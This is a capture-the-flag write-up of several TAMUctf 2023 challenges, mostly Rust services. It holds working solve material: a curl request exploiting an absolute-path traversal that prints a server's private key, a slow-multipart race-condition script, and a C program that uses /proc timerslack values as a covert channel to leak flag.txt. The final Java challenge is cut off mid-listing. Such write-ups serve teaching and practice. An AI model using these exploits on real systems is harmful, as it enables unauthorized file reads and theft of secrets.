I participated in TAMUctf 2023, playing for Kalmarunionen. We also scored first place here, clearing the board on Saturday evening.

This one had a lot of Rust challenges (thanks Addison), so I spent most of my time on those, and let the rest of the team do the boring stuff all the pwn and crypto.

Challenges

Flag Fetcher

I wrote a program which demonstrates how ed25519 keys can be used to sign challenges, butit's not working for some reason. Can you help me figure out what's wrong with my actixserver? I swear, I've tried everything. I got the routes right, my hosting works fine, butfor some reason, the sign endpoint just isn't working. Go on, give it a look. I've beendebugging this thing for hours but really I just can't find the solution. actix is so hardto understand sometimes. I turned on debugging. I made sure my signing algo works fine.But for whatever reason, I'm not getting any response back on that endpoint. It's sofrustrating. Why do people even do web anyways? What's the point? How am I supposed tocontinue as a respected developer when I can't even make a basic webserver? Sometimes Iwonder if I should give up programming and go make a garden. That would be nice, don't youthink? Gardening sounds like a nice break from programming and security. Hell, I bet thepay is comparable for some of those positions. Can you imagine gardening for a big companyor maybe a really wealthy person? Have one of those on-site housing sheds, like in thatNetflix series. What was it called? Oh, yeah, anyways, here's the code. Got it hosted ina scratch container at the moment. I think it's so cool that you can do that with Rust.Just compile it for musl and slam it in a container on its own. You know, I once tried todo that with some C code, but the tools are just not there to get async handling working.Go might be able to do it, but who uses that language anyways? Happy hunting.

We have a small challenge signature webapp in Rust:

Hitting the "Request Challenge" button generates a random byte string. The "Sign Challenge" button will then sign the byte string with the server's keypair, and with that valid signature, the Get Your Flag! button will print a flag. The only problem here is that the "Sign Challenge" button doesn't work - the underlying endpoint just 404s (as elaborately specified in the challenge description):

Thankfully, we have the source code for the server - let's see if we can fix the bug:

#[get("/sign")]
async fn sign(req: HttpRequest, key: Data<Arc<Ed25519KeyPair>>) -> Result<HttpResponse, Error> {
    // [...source code abridged]
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    std::env::set_var("RUST_LOG", "debug");
    std::env::set_var("RUST_BACKTRACE", "1");
    env_logger::init();

    let key = Ed25519KeyPair::from_pkcs8_maybe_unchecked(
        pem::parse(
            std::fs::read("key")
                .expect("Must be able to read the ED25519 key.")
                .as_slice(),
        )
        .expect("Expected a PEM-encoded key.")
        .contents
        .as_slice(),
    )
    .expect("Couldn't parse the keypair.");
    let key = Data::new(Arc::new(key));
    let flag = std::env::args().nth(1).expect("Flag argument not found");
    let flag = Data::new(flag);

    let id_counter = Data::new(AtomicUsize::default());
    let challenges = Data::new(Arc::new(Mutex::new(CLruCache::<usize, Vec<u8>>::new(
        NonZeroUsize::new(1 << 16).unwrap(),
    ))));

    HttpServer::new(move || {
        App::new()
            .app_data(id_counter.clone())
            .app_data(challenges.clone())
            .app_data(key.clone())
            .app_data(flag.clone())
            .service(challenge)
            .service(get_flag)
            .service(static_files)
            .service(index)
    })
    .bind(("0.0.0.0", 8080))?
    .run()
    .await
}

This is a pretty basic actix-web server. The problem is that the route for the sign function isn't added to the App. This is a one-line fix:

HttpServer::new(move || {
    App::new()
        .app_data(id_counter.clone())
        .app_data(challenges.clone())
        .app_data(key.clone())
        .app_data(flag.clone())
        .service(challenge)
        .service(get_flag)
        .service(static_files)
        .service(index)
        .service(sign) // <-- here!
})

And now we can run the challenge locally, and get the flag:

$ openssl genpkey -algorithm ed25519 -out key
$ cargo run -- "flag{local_test_flag}"
    Finished dev [unoptimized + debuginfo] target(s) in 1.78s
     Running `target/debug/flag-fetcher 'flag{local_test_flag}'`
[2023-04-30T13:15:18Z INFO  actix_server::builder] starting 6 workers
[2023-04-30T13:15:18Z INFO  actix_server::server] Actix runtime found; starting in Actix runtime

If we had the key the server uses, we could just use our local instance to sign the challenge the remote gives us. So let's get the key!

Take a look at the static file server route:

#[get("/static/{filename:.*}")]
async fn static_files(req: HttpRequest) -> Result<fs::NamedFile, Error> {
    let requested: PathBuf = req.match_info().query("filename").parse()?;
    // deny path traversal
    let requested: PathBuf = requested
        .components()
        .filter(|&entry| entry != Component::ParentDir)
        .collect();

    let mut path = PathBuf::from_str("static").unwrap();
    path.extend(&requested);

    let file = fs::NamedFile::open(path)?;
    Ok(file.use_last_modified(true))
}

This code uses the PathBuf type to filter out /../ components in the path, and this does work:

$ curl --path-as-is 'http://localhost:8080/static/../key'
No such file or directory (os error 2)

However, note that it parses the path we give it into a PathBuf, filters that, then extends a hardcoded static PathBuf with that. The impl Extend for PathBuf implements this by repeatedly calling push. What do the docs for push say?

pub fn push<P: AsRef<Path>>(&mut self, path: P)
Extends self with path. If path is absolute, it replaces the current path.

So, if we managed to push an absolute path, it would give us full control over the path - and since it "pre-parses" the input, we can just hand it, say, /key:

$ curl 'http://flag-fetcher.tamuctf.com/static//key'
-----BEGIN PRIVATE KEY-----
MC4CAQAwBQYDK2VwBCIEIIBv3S5a12cYpxkB0FOkuLBSyzmgEBpWIIk2SEux9h6b
-----END PRIVATE KEY-----

We can save the server's key locally, and then pass challenges back and forth and get the server's flag. I'll do this with a Python script because otherwise this is annoying to demonstrate:

import requests
sess = requests.Session()

# seed a `whoami` cookie into the session's cookie jar
# (just so the remote can track the challenge it issued, this is otherwise irrelevant)
sess.get("http://flag-fetcher.tamuctf.com")

challenge = sess.get("http://flag-fetcher.tamuctf.com/req").text
print("challenge:", challenge)

signature = sess.get("http://localhost:8080/sign?" + challenge).text
print("signature:", signature)

flag = sess.get("http://flag-fetcher.tamuctf.com/flag?" + signature).text
print("flag:", flag)
$ python solve.py 
challenge: 44d96ad6fb0e6beeb19964dc8b00aa7c705a93e2720439dc7b652ddfa52752dad78631a79982a0145f611f75d5a2e81866f23145896661cc77c3f4cca0eb2f6e
signature: 0b11cc8828cddbe61fe4ccbfc547df290ebecba7fc5ef703d3661e7d7deb3cfe75edb350875b833917cf0fbefbdf827da3a68bfe5dc3eb56c51ab653b687af09
flag: gigem{the_root_of_all_evil_b8c3c530}

Web LTO

I'm trying to create a more async-optimised version of the actix multipart example. That means switching over to tokio File, reusing file handles, and so on. I think it's working great so far, and I don't think users can interact with each other. Want to give it a try? I'm already using it to store my super-secret flag.txt file, and it holds up pretty well to having repeated uploads (I'm testing at one upload every 10 seconds or so while I debug things!).

Author note: To prevent interaction between users, this challenge is stateless. You will not be able to download any previously uploaded content. As a result, you may not observe files persisting between uploads and bruteforcing is not viable as a solution.

Another Rust challenge, this time a file upload. The server takes one or more files through multipart form data and responds with a tar of them all. There's a lot of relatively small details that fit together here:

  • The server initially uploads to a temporary file based on the hash of the filename, copies it to the destination directory (based on the hash of the "session id"), and then deletes the original.
  • As the description states, there's another client uploading a flag.txt at the same time, every 10 seconds.
  • When it copies the temporary file, it uses the same file handle it opened earlier, and just seeks it back to the beginning.

Putting this together, we can work out an exploit:

  • Start a multipart request to upload an empty flag.txt, and leave this hanging for >10 seconds
    • This will open tmp/0cff99e71cef59d1 as r+w
  • Wait for the other user to try to upload their flag.txt
    • This will also open tmp/0cff99e71cef59d1, write their flag to it, then try to delete it
    • Whether or not the deletion succeeds, our request handler still has an open handle to the same file
  • Finish our request
    • This will seek the tmp file handle back to the beginning and copy it to our user-specific output directory
    • ...then tar the whole thing up and send it back to us

Now, crafting an intentionally slow POST request is difficult with most tools (Googling curl slow post request just gives you suggestions on how to make them faster), but Python's requests lets us do it using a generator for the POST payload - we just have to make the multipart request ourselves:

import requests, time

def generator():
    print("sending multipart header...")
    yield b"--boundary\r\nContent-Disposition: form-data; name=\"a\"; filename=\"flag.txt\"\r\n\r\n"

    print("sleeping...")
    time.sleep(15)

    print("finishing request...")
    yield b"\r\n--boundary--\r\n"

r = requests.post("http://web-lto.tamuctf.com", headers={
    "Content-Type": "multipart/form-data; boundary=boundary"
}, data=generator(), cookies={"whoami": "nobody"})
print(r.text)

I didn't feel like parsing the resulting tar file, so we can just read the flag straight out of stdout:

$ python solve.py 
sending multipart header...
sleeping...
finishing request...
submitted/004075500000000000000000000000001442347236700112245ustar  00000000000000submitted/0cff99e71cef59d1010064400000000000000000000000371442347236700135420ustar  00000000000000gigem{l70_4_th3_weB_1s_aM4z1n6}submitted/error010064400000000000000000000000461442347236700122750ustar  00000000000000No such file or directory (os error 2)

and it's right in there: gigem{l70_4_th3_weB_1s_aM4z1n6}

discordance

An admin was helping run a discord-hosted CTF and accidentally released a challenge that displayed the flag, but they were able to take it down before anyone could get it. The new challenge is way too hard and no one can solve it. All we have is the admin's discord data. Can you get the flag from the originally leaked challenge?

Every CTF needs some "forensics". We have what looks like a Discord data dump:

$ fd
messages/
messages/c1060069699414855374/
messages/c1060069699414855374/channel.json
messages/c1060069699414855374/messages.csv
messages/c1096132565917778112/
messages/c1096132565917778112/channel.json
messages/c1096132565917778112/messages.csv
[...]
messages/index.json
servers/
servers/1096132565473185943/
servers/1096132565473185943/audit-log.json
servers/1096132565473185943/guild.json
servers/1413604022524504140/
servers/1413604022524504140/audit-log.json
servers/1413604022524504140/guild.json
[...]
servers/index.json

We can quickly discover the server (guild) ID for umatCTF:

$ jq < servers/index.json
{
  "5115895875925400861": ":pensive:",
  "1413604022524504140": "nerd gang",
  "3938017843030807365": "g a m e",
  "7761814952870634272": "ctf addictz",
  "2995880694897871716": "quid quid quid",
  "3892684830668403085": "nightmarenightmarenightmare",
  "7122463034215894721": "I Use Arch BTW",
  "6742550644772811498": "Linux Supremacy!!!",
  "7809235826282824337": "Harry potter fan club!!",
  "9568074521608062202": "APTs R Us",
  "2305958240504668178": "Another Day in the Office",
  "7199551760858494183": "Minecraft",
  "8342281329734105691": "Cyber Gamers",
  "5637967242009544879": "Anime Lovers!!",
  "1096132565473185943": "umatCTF",
  "6022673965195755026": "skewl is kewl",
  "6757217571278520277": "Gaming Gamers:tm:",
  "9143121095442396776": "Vibin and Thrivin"
}

We can also list that server's channels:

$ jq -c 'select(.guild.id=="1096132565473185943")' messages/*/channel.json
{"id":"1096132565917778112","type":0,"name":"welcome","guild":{"id":"1096132565473185943","name":"umatCTF"}}
{"id":"1096155190467498098","type":0,"name":"announcements","guild":{"id":"1096132565473185943","name":"umatCTF"}}
{"id":"1096174308394553364","type":0,"name":"error-log","guild":{"id":"1096132565473185943","name":"umatCTF"}}
{"id":"1096175436750389400","type":0,"name":"challenges","guild":{"id":"1096132565473185943","name":"umatCTF"}}

If we list the messages in some of these channels:

$ cat messages/c1096175436750389400/messages.csv #challenges
ID,Timestamp,Contents,Attachments
7652503695752770157,2023-03-12 12:12:15.000000,"Now we have the bad flag image challenge! glhf ***UPDATE***: challenge is revoked due to an error ***NEW UPDATE***: challenge is back online!",
6195111373965045170,2023-03-12 00:26:31.000000,"Guess what? We got another one for y'all! Here's encode-shmencode: NzUgNmQgNjEgNzQgNDMgNTQgNDYgN2IgNzcgNjEgNjkgNzQgNWYgNzkgNmYgNzUgNWYgNjMgNjEgNmUgNWYgNzIgNjUgNjEgNjQgNWYgNzQgNjggNjkgNzMgM2YgN2Q=",
4653255294999267911,2023-03-11 12:00:18.000000,"Here's our strings challenge! Bet you can't solve this one 😉",

$ cat messages/c1096155190467498098/messages.csv #announcements
ID,Timestamp,Contents,Attachments
7284365605327343005,2023-03-11 14:07:17.000000,"alright, we got the previous issue fixed!",
6823397473848494052,2023-03-11 11:06:54.000000,"sorry everyone , looks like we have an issue with the bad flag challenge. looks like the 'yep_cool_name' image file had some issues, we're looking into it",
4736634359369462026,2023-03-10 22:35:32.000000,"Hey everyone! Thank you so much for joining umatCTF 2022! Looking forward to some good solves 😤",

$ cat messages/c1096174308394553364/messages.csv #error-log
ID,Timestamp,Contents,Attachments
5910327346803569649,2023-03-12 13:06:35.000000,alright, looks like it was a misconfig. fixed!,
5422117502284059263,2023-03-12 12:35:72.000000,does anyone know what happened? i got an error for message `1098484588457771049` with a chall,

Putting this together: we want the file yep_cool_name, which was presumably attached to the message ID 1098484588457771049, which would be in #challenges (1096175436750389400).

Discord's CDN filename format for attachments is https://cdn.discordapp.com/attachments/<channel_id>/<attachment_id>/<filename>. While we don't have the attachment ID, it looks like the organizers might have confused it with the message ID... because plugging our numbers in anyway, and guessing the file extension, gets us an image with the flag: https://cdn.discordapp.com/attachments/1096175436750389400/1098484588457771049/yep_cool_name.png

Flag: gigem{d15c0rd_k3ep5_d3l37ed_f1l3s?!?!}

(note: they sure do, but not indefinitely, and they've started cleaning up images for deleted channels/servers recently, so this may not work forever...)

(note 2: Discord IDs are all snowflakes, which are timestamp-based. Recently generated IDs are all 19 digits long and around 109xxx-110xxx, so it's pretty easy to filter out which ones are real and which are just challenge filler ;))

Absolute Cap

Look, I tried to write some flavour text for this challenge, but it's really a straightforward blind reversing challenge. We've provided you with two binaries, both present and running on the server. Connections to the server connect to the "server" binary. There are no other binaries present on the server, not even system utilities.

Breathe, step back, and enjoy a little Rust reversing. :)

We're given both friend and server, as well as the source code to server.

The server is pretty straightforward:

async fn handle_client(mut client: TcpStream, source: SocketAddr) -> Result<()> {
    println!("Handling connection from: {source}");

    let stream_fd = client.as_raw_fd();

    let (rx, tx) = client.split();
    let mut rx = BufReader::new(rx);
    let mut tx = BufWriter::new(tx);

    while let Ok(Some(line)) = (&mut rx).lines().next_line().await {
        let line = line.trim();
        if line == "execute" {
            tx.write_all(b"size of file: ").await?;
            tx.flush().await?;
            if let Ok(Some(bytes)) = (&mut rx).lines().next_line().await {
                if let Ok(bytes) = bytes.parse() {
                    if bytes > 4 << 20 {
                        tx.write_all(b"Cowardly refusing to create a binary >4MB.")
                            .await?;
                        tx.flush().await?;
                        continue;
                    }

                    let memfd = memfd_create(
                        CString::new(format!("{source}"))?.as_c_str(),
                        MemFdCreateFlag::MFD_CLOEXEC | MemFdCreateFlag::MFD_ALLOW_SEALING,
                    )?;

                    let file = unsafe { File::from_raw_fd(memfd) };
                    let mut writer = BufWriter::new(file);
                    copy(&mut (&mut rx).take(bytes), &mut writer).await?;
                    let file = writer.into_inner();

                    // prevent further writing
                    file.set_permissions(Permissions::from_mode(0o555)).await?;
                    fcntl(memfd, FcntlArg::F_ADD_SEALS(SealFlag::all()))?;

                    let executable = format!("/proc/self/fd/{memfd}");
                    println!("Launching {executable} for {source}");

                    let fut_status = Command::new(executable)
                        .stdin(unsafe { Stdio::from_raw_fd(stream_fd) })
                        .stdout(unsafe { Stdio::from_raw_fd(stream_fd) })
                        .stderr(unsafe { Stdio::from_raw_fd(stream_fd) })
                        .env_clear()
                        .uid(Uid::current().as_raw() + 1000)
                        .kill_on_drop(true)
                        .status();
                    pin!(fut_status);

                    let status = loop {
                        // loop until the process ends or the stream is killed
                        select! {
                            status = &mut fut_status => break status?,
                            readable = rx.get_mut().readable() => readable?,
                        }
                    };

                    tx.write_all(
                        format!("Execute complete; exited {:?}\n", status.code()).as_bytes(),
                    )
                    .await?;
                    tx.flush().await?;
                } else {
                    tx.write_all(b"Invalid length specified: ").await?;
                    tx.write_all(bytes.as_bytes()).await?;
                    tx.write_u8(b'\n').await?;
                    tx.flush().await?;
                }
            }
        } else {
            tx.write_all(b"Didn't recognise command. Try again?\n")
                .await?;
            tx.flush().await?;
        }
    }

    println!("Mischief managed for {source}!");

    Ok(())
}

Effectively, it takes a binary as input over the network and runs it, passing the socket as stdin/stdout/stderr, and returning back the exit code. It does this entirely in-memory. Before looking at friend, let's quickly try to confirm this by compiling a small test binary:

int main() {
    printf("test\n");
    return 42;
}
$ gcc test.c -static -o test
$ cat solver-template.py
from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="absolute-cap")
p.sendline(b"execute")
p.recvuntil(b"size of file: ")
data = open("test", "rb").read()
p.sendline(str(len(data)).encode())
p.send(data)
p.interactive()
$ python solver-template.py 
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode
test
[*] Got EOF while reading in interactive

Note that they weren't kidding when they said "There are no other binaries present on the server, not even system utilities" - we have to statically link the binary, because the remote doesn't even have a libc. (I wasted a lot of time trying to figure this one out.)

So, we can spawn a binary on the server. Presumably, friend holds the flag, and we need to somehow get that one to spit it out. Now, it's a pretty beefy Rust binary that's pretty hard to understand at first glance, so I just strace'd it:

$ sudo strace binaries/friend
execve("binaries/friend", ["binaries/friend"], 0x7ffc32ff2490 /* 12 vars */) = 0
arch_prctl(ARCH_SET_FS, 0x7f599921aae8) = 0
set_tid_address(0x7f599921acb8)         = 28236
poll([{fd=0, events=0}, {fd=1, events=0}, {fd=2, events=0}], 3, 0) = 0 (Timeout)
rt_sigaction(SIGPIPE, {sa_handler=SIG_IGN, sa_mask=[], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7f59991f7e3e}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGSEGV, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RT_1 RT_2], NULL, 8) = 0
rt_sigaction(SIGSEGV, {sa_handler=0x7f59991d3cf0, sa_mask=[], sa_flags=SA_RESTORER|SA_ONSTACK|SA_SIGINFO, sa_restorer=0x7f59991f7e3e}, NULL, 8) = 0
rt_sigaction(SIGBUS, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
rt_sigaction(SIGBUS, {sa_handler=0x7f59991d3cf0, sa_mask=[], sa_flags=SA_RESTORER|SA_ONSTACK|SA_SIGINFO, sa_restorer=0x7f59991f7e3e}, NULL, 8) = 0
sigaltstack(NULL, {ss_sp=NULL, ss_flags=SS_DISABLE, ss_size=0}) = 0
mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f59991aa000
mprotect(0x7f59991aa000, 4096, PROT_NONE) = 0
sigaltstack({ss_sp=0x7f59991ab000, ss_flags=0, ss_size=8192}, NULL) = 0
brk(NULL)                               = 0x555555a4e000
brk(0x555555a4f000)                     = 0x555555a4f000
rt_sigprocmask(SIG_BLOCK, ~[RTMIN RT_1 RT_2], [], 8) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
open("/proc", O_RDONLY|O_CLOEXEC|O_DIRECTORY) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(3, 0x555555a4e138 /* 71 entries */, 2048) = 2048
getdents64(3, 0x555555a4e138 /* 15 entries */, 2048) = 480
getdents64(3, 0x555555a4e138 /* 0 entries */, 2048) = 0
close(3)                                = 0
open("/proc/1/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
open("/proc/18/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
open("/proc/19/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
open("/proc/20/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
[...]
open("/proc/28236/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
nanosleep({tv_sec=0, tv_nsec=500000000}, 0x7ffed1fa94d0) = 0
open("/proc", O_RDONLY|O_CLOEXEC|O_DIRECTORY) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(3, 0x555555a4e138 /* 71 entries */, 2048) = 2048
getdents64(3, 0x555555a4e138 /* 15 entries */, 2048) = 480
getdents64(3, 0x555555a4e138 /* 0 entries */, 2048) = 0
close(3)                                = 0
open("/proc/1/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
open("/proc/18/timerslack_ns", O_RDONLY|O_CLOEXEC) = 3
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
fstat(3, {st_mode=S_IFREG|0666, st_size=0, ...}) = 0
read(3, "50000\n", 32)                  = 6
read(3, "", 26)                         = 0
close(3)                                = 0
[...]

We can see that it scans /proc/*/timerslack_ns, looking for... something. If we pop it in Ghidra and look around, we find the scanning code in proto::Client:find_server, followed by this code:

RVar8 = try_read_chunk((Client *)local_c8);
if (local_c8 == (undefined  [8])0x0) {
    if (CONCAT44(uStack_bc,local_c0) == 0x696d636c69656e74) {
    // ... [something]

and try_read_chunk contains:

Result<u64,_std::io::error::Error> proto::Client::try_read_chunk(Client *self)
{
  undefined8 extraout_RAX;
  undefined8 extraout_RDX;
  undefined8 extraout_RDX_00;
  Result<u64,_std::io::error::Error> RVar1;
  &str &Var2;
  char in_stack_ffffffffffffffa8;
  undefined in_stack_ffffffffffffffa9;
  undefined6 in_stack_ffffffffffffffaa;
  u8 *in_stack_ffffffffffffffb0;
  undefined local_48;
  undefined7 uStack_47;
  void *local_40;
  undefined8 local_38;
  void *local_28;
  undefined8 local_20;

  RVar1 = (Result<u64,_std::io::error::Error>)std::fs::read_to_string::inner(&local_48);
  if (local_40 == (void *)0x0) {
    (self->target).vec.buf.ptr.pointer.pointer = (u8 *)CONCAT71(uStack_47,local_48);
    (self->target).vec.buf.cap = 1;
  }
  else {
    local_28 = local_40;
    local_20 = local_38;
    &Var2 = core::str::{impl#0}::trim_matches<core::str::{impl#0}::trim::{closure_env#0}>
                      ((&str)CONCAT88(in_stack_ffffffffffffffb0,
                                      CONCAT62(in_stack_ffffffffffffffaa,
                                               CONCAT11(in_stack_ffffffffffffffa9,
                                                        in_stack_ffffffffffffffa8))));
                    /* try { // try from 0010a462 to 0010a4de has its CatchHandler @ 0010a4e1 */
    core::num::{impl#30}::from_str
              (&stack0xffffffffffffffa8,SUB168((undefined  [16])&Var2,0),
               SUB168((undefined  [16])&Var2,8));
    RVar1 = (Result<u64,_std::io::error::Error>)CONCAT88(extraout_RDX,in_stack_ffffffffffffffb0);
    if (in_stack_ffffffffffffffa8 != '\0') {
                    /* WARNING: Subroutine does not return */
      core::result::unwrap_failed
                ("called `Result::unwrap()` on an `Err` value/proc/proc//timerslack_ns",0x2b,
                 &local_48,&<core::num::error::ParseIntError_as_core::fmt::Debug>::{vtable},
                 &PTR_s_proto/src/lib.rsassertion_failed_00169110);
    }
    (self->target).vec.buf.ptr.pointer.pointer = in_stack_ffffffffffffffb0;
    (self->target).vec.buf.cap = 0;
    if ((u8 *)CONCAT71(uStack_47,local_48) != (u8 *)0x0) {
      std::alloc::__default_lib_allocator::__rust_dealloc(local_40);
      RVar1 = (Result<u64,_std::io::error::Error>)CONCAT88(extraout_RDX_00,extraout_RAX);
    }
  }
}

There's a whole lot of noise here, but we see a call to std::fs::read_to_string, a call to str::trim_matches, and a from_str. Given the function's return value is a Result<u64, _>, we can reasonably assume that it just reads a number from a file. Probably /proc/[fd]/timerslack_ns.

The constant the caller compares the return value to is 0x696d636c69656e74, which decodes to the string imclient in ASCII. So: it's scanning for a running process with the timerslack_ns value of "imclient" (encoded as a number). So let's make a process set that value on itself:

#include <stdio.h>

void write_timerslack(long value) {
    FILE* f = fopen("/proc/self/timerslack_ns", "w");
    fprintf(f, "%lld\n", value);
    fclose(f);
}

int main() {
    write_timerslack(0x696d636c69656e74);

    // just to keep program alive
    getchar();
    return 42;
}

If I run friend locally in the background, and then run this program, I can see that it outputs:

$ sudo binaries/friend
Found a server!: /proc/28295/timerslack_ns
Lost our server (No such file or directory (os error 2)), beginning search...

Okay, friend has found our program. Then what? After the check in find_server, we see this code:

          if (CONCAT44(uStack_bc,local_c0) == 0x696d636c69656e74) {
            local_48 = (NonNull<alloc::sync::ArcInner<std::sys::unix::fs::InnerReadDir>> **)0x155150
            ;
            local_40 = core::fmt::num::imp::{impl#7}::fmt;
            local_c8 = (undefined  [8])0x0;
            local_b8 = &PTR_s_/rustc/84c898d65adf2f39a5a98507f_00169100;
            local_b0 = (undefined *)0x1;
            local_a8 = &local_48;
            uStack_a0 = 1;
                    /* try { // try from 0010a26e to 0010a280 has its CatchHandler @ 0010a359 */
            alloc::fmt::format::format_inner
                      (&local_70,local_c8,SUB168((undefined  [16])RVar8 >> 0x40,0));
            __ptr_00 = local_68;
            local_c8 = (undefined  [8])local_70;
            local_c0 = (undefined4)local_68;
            uStack_bc = local_68._4_4_;
            local_b8 = (undefined **)local_60;
                    /* try { // try from 0010a2a0 to 0010a2ae has its CatchHandler @ 0010a34a */
            lVar6 = std::fs::write::inner(puVar4,puVar5,local_68);

Again ignoring the gunk, there's a fs::write call. The 0x155150 points to the value 0x696d736572766572 (which Ghidra helpfully interprets as the string "revresmi", damn endiannnes...), so presumably it writes this back to the timer value. Let's see:

#include <stdio.h>

void write_timerslack(long value) {
    FILE* f = fopen("/proc/self/timerslack_ns", "w");
    fprintf(f, "%lld\n", value);
    fclose(f);
}


long read_timerslack() {
    long value;
    FILE* f = fopen("/proc/self/timerslack_ns", "r");
    fscanf(f, "%lld\n", &value);
    fclose(f);
    return value;
}

int main() {
    write_timerslack(0x696d636c69656e74);

    // wait until it changes
    while (read_timerslack() == 0x696d636c69656e74);

    // print the new value
    printf("new timerslack: %llx\n", read_timerslack());

    return 42;
}

Running this program (with friend still active in the background) gets us the output:

$ ./test
new timerslack: 696d736572766572

And there we see imserver getting written back to it. This means we have two-way communication with friend!

After this, proto::Client::find_server returns in friend, and it calls wait_until_ready. This code is simple:


Result<(),_std::io::error::Error> proto::Client::wait_until_ready(Client *self)

{
  usize local_40;
  Result<(),_std::io::error::Error> local_38;
  
  try_read_chunk((Client *)&local_40);
  if (local_40 == 0) {
    do {
      if (local_38 == (Result<(),_std::io::error::Error>)0x696d6479696e6721) {
        return (Result<(),_std::io::error::Error>)0xb00000003;
      }
      if (local_38 == (Result<(),_std::io::error::Error>)0x696d726561647921) {
        return (Result<(),_std::io::error::Error>)0x0;
      }
      std::thread::sleep((thread *)0x0,10000000);
      try_read_chunk((Client *)&local_40);
    } while (local_40 == 0);
  }
  return local_38;
}

It again polls the timerslack_ns value, and returns Ok if it's equal to imready! (in number form). It also returns an error if it's equal to imdying!, but we don't need that right now. After our program is ready, it'll read flag.txt, and then call proto::Client::write_msg with the value.

        RVar3 = proto::Client::wait_until_ready((Client *)&stack0xffffffffffffff18);
        if ((RVar3 != (Result<(),_std::io::error::Error>)0x0) ||
           (std::fs::read_to_string::inner
                      (&local_a8,
                       "flag.txtFound a server!: Lost our server (), beginning search...\n",8),
           __ptr = local_a0, RVar2 = local_a8, RVar3 = local_a8, local_a0 == (Client *)0x0))
        goto LAB_00108530;
        local_c8 = local_a8;
        local_c0 = (code *)local_a0;
        local_b8 = local_98;
                    /* try { // try from 001084cf to 001084da has its CatchHandler @ 001086d1 */
        RVar3 = proto::Client::write_msg
                          ((Client *)&stack0xffffffffffffff18,local_a0,
                           (&[u8])CONCAT412(uVar10,CONCAT48(uVar9,CONCAT44(uVar8,uVar7))));

I'll skip the gunk in write_msg (there's a lot of inlined noise, including more instances of wait_until_ready), but effectively it writes the length of the string, then the contents of the flag (in chunks of 4-byte numbers), polling for imready! between every write. This means we can write a simple loop to read and print out the flag:

#include <stdio.h>

void write_timerslack(long value) {
    FILE* f = fopen("/proc/self/timerslack_ns", "w");
    fprintf(f, "%lld\n", value);
    fclose(f);
}

long read_timerslack() {
    long value;
    FILE* f = fopen("/proc/self/timerslack_ns", "r");
    fscanf(f, "%lld\n", &value);
    fclose(f);
    return value;
}

long read_value() {
    write_timerslack(0x696d726561647921); // "imready!"

    // wait for friend to write response
    while (read_timerslack() == 0x696d726561647921);
    return read_timerslack();
}

int main() {
    write_timerslack(0x696d636c69656e74); // "imclient"
    while (read_timerslack() == 0x696d636c69656e74); // wait for "imserver"

    long length = read_value();
    for (int i = 0; i < length; i += 4) {
        long value = read_value();
        putchar(value >> 24);
        putchar(value >> 16);
        putchar(value >> 8);
        putchar(value);
    }
    printf("\n");
    return 42;
}

We can now use this as a remote payload, and get the flag:

$ gcc test.c -static -o test
$ python solver-template.py 
[+] Opening connection to tamuctf.com on port 443: Done
[*] Switching to interactive mode
gigem{cut_me_some_slack000}\x00[*] Got EOF while reading in interactive

Macchiato

I got tired of people exploiting my poor, defenseless Rust programs, so I wrote this challenge in the ultimate memory-safe language.

Finally, a good language. (/s)

import java.util.Scanner;

public class Challenge {
    public static void displayBank(Class bank) {
        System.out.println();
        System.out.println(bank.getSimpleName());
        System.out.println("----------------------------");
        for (var f: bank.getDeclaredFields()) {
            System.out.println(f.getName());
        }
    }
    public static void listUsers() {
        displayBank(RegularBank.class);
        displayBank(BlazinglyFastBank.class);
    }
    public static Object load(String name, String field) {
        try {
            return load(Class.forName(name), field);
        } catch (Exception e) {
            return null;
        }
    }
    public static Object load(Class c, String field) {
        try {
            var f = c.getDeclaredField(field);
            f.setAccessible(true);
            return f.get(null);
        } catch (Exception e) {
            return null;
        }
    }
    public static long readLong(Scanner sc) {
        var ret = sc.nextLong();
        sc.nextLine();
        return ret;
    }
    public static void main(String[] args) {
        var sc = new Scanner(System.in);
        Account acc = null;
        var canZoom = false;

